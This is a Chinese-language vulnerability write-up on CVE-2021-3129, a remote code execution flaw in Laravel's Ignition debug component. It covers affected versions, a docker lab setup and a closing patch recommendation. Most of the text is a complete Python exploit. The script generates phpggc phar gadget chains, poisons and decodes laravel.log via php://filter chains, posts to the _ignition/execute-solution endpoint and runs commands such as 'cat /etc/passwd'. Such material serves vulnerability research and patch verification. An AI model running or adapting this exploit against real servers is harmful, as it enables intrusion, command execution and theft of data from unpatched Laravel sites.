CVE-2021-3129-Laravel Debug mode 远程代码执行漏洞
一、漏洞简介
Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。
Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
二、影响版本
Laravel <= 8.4.2
Ignition <2.5.2
三、环境准备&漏洞复现
环境地址:
环境和exp下载:后台回复 “CVE-2021-3129” 下载即可
或者下面下载:https://github.com/SNCKER/CVE-2021-3129
执行
docker-compse up -d
访问8888端口即可
访问地址:http://127.0.0.1:8888
漏洞复现:
1、在下载GitHub上下载的docker环境中带有exp,使用此exp需要下载phpggc
2、把exp和phpggc放在同一目录,使用python3执行exp,可以看到执行了exp里命令
Macos执行报错
切换kali环境执行命令:
修改脚本添加参数:
环境和exp下载:后台回复 “CVE-2021-3129” 下载即可
py脚本code
#!/usr/bin/python3 import requests as req import os, uuid class Exp: __gadget_chains = { "monolog_rce1": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""", "monolog_rce2": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce2 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""", "monolog_rce3": r""" php -d 'phar.readonly=0' phpggc/phpggc monolog/rce3 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())" > payload.txt""", } # phpggc链,暂时添加rce1后续再添加其他增强通杀能力 __delimiter_len = 8 # 定界符长度 def __vul_check(self): resp = req.get(self.__url, verify=False) if resp.status_code != 405 and "laravel" not in resp.text: return False return True def __payload_send(self, payload): header = { "Accept": "application/json" } data = { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "cve20213129", "viewFile": "" } } data["parameters"]["viewFile"] = payload resp = req.post(self.__url, headers=header, json=data, verify=False) # print(resp.text) return resp def __command_handler(self, command): """ 因为用户命令要注入到payload生成的命令中,为了防止影响结构,所以进行一些处理。 """ self.__delimiter = str(uuid.uuid1())[:self.__delimiter_len] # 定界符用于定位页面中命令执行结果的位置。 # print(delimiter) command = "echo %s && %s && echo %s" % (self.__delimiter, command, self.__delimiter) # print(command) escaped_chars = [' ', '&', '|'] # 我只想到这么多,可自行添加。 for c in escaped_chars: command = command.replace(c, '\\' + c) # print(command) return command def __clear_log(self): return self.__payload_send( "php://filter/write=convert.iconv.utf-8.utf-16le|convert.quoted-printable-encode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log") def __gen_payload(self, gadget_chain): gen_shell = self.__gadget_chains[gadget_chain] % (self.__command) # print(gen_shell) os.system(gen_shell) with open('payload.txt', 'r') as f: payload = f.read().replace('\n', '') + 'a' # 添加一个字符使得两个完整的payload总是只有一个可以正常解码 os.system("rm payload.txt") # print(payload) return payload def __decode_log(self): return self.__payload_send( "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log") def __unserialize_log(self): return self.__payload_send("phar://../storage/logs/laravel.log/test.txt") def __rce(self): text = self.__unserialize_log().text # print(text) echo_find = text.find(self.__delimiter) # print(echo_find) if echo_find >= 0: return text[echo_find + self.__delimiter_len + 1: text.find(self.__delimiter, echo_find + 1)] else: return "[-] RCE echo is not found." def exp(self): for gadget_chain in self.__gadget_chains.keys(): print("[*] Try to use %s for exploitation." % (gadget_chain)) self.__clear_log() self.__clear_log() self.__payload_send('a' * 2) self.__payload_send(self.__gen_payload(gadget_chain)) self.__decode_log() print("[*] Result:") print(self.__rce()) def __init__(self, target, command): self.target = target self.__url = req.compat.urljoin(target, "_ignition/execute-solution") self.__command = self.__command_handler(command) if not self.__vul_check(): print("[-] [%s] is seems not vulnerable." % (self.target)) print("[*] You can also call obj.exp() to force an attack.") else: self.exp() def main(): Exp("http://127.0.0.1:8888", "cat /etc/passwd") if __name__ == '__main__': main()
四、安全建议
建议将 Laravel 框架升级至8.4.3及以上版本,或将 Ignition组件升级至 2.5.2 及以上版本。
下载链接:
https://laravel.com/docs/8.x#laravel-the-fullstack-framework
参考:
https://mp.weixin.qq.com/s/ShRvF_YeV9JbJJnOUjklCw
https://github.com/SNCKER/CVE-2021-3129
https://www.venustech.com.cn/new_type/aqtg/20210114/22299.html
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